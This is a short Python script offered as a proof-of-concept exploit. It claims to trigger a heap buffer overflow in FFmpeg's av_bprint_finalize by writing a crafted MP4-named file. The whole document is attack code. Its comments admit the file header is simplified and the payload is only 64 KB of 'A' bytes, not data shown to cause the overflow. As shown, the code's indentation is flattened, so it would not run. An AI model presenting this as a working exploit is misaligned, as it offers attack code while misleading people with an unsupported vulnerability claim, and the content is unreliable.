The following code is for security research and authorized testing only.
python
import struct
# PoC to trigger heap buffer overflow in av_bprint_finalize
# This script generates a crafted file designed to corrupt memory
def generate_poc_file(filename):
with open(filename, 'wb') as f:
# File header (simplified for illustration)
f.write(b'\x00\x00\x00\x20')
# Malicious payload designed to trigger the overflow
# In a real scenario, this would be specific data that causes BPrint to miscalculate size
overflow_payload = b'A' * 0x10000
f.write(overflow_payload)
print(f"[+] PoC file generated: {filename}")
if __name__ == "__main__":
generate_poc_file("crash_ffmpeg.mp4")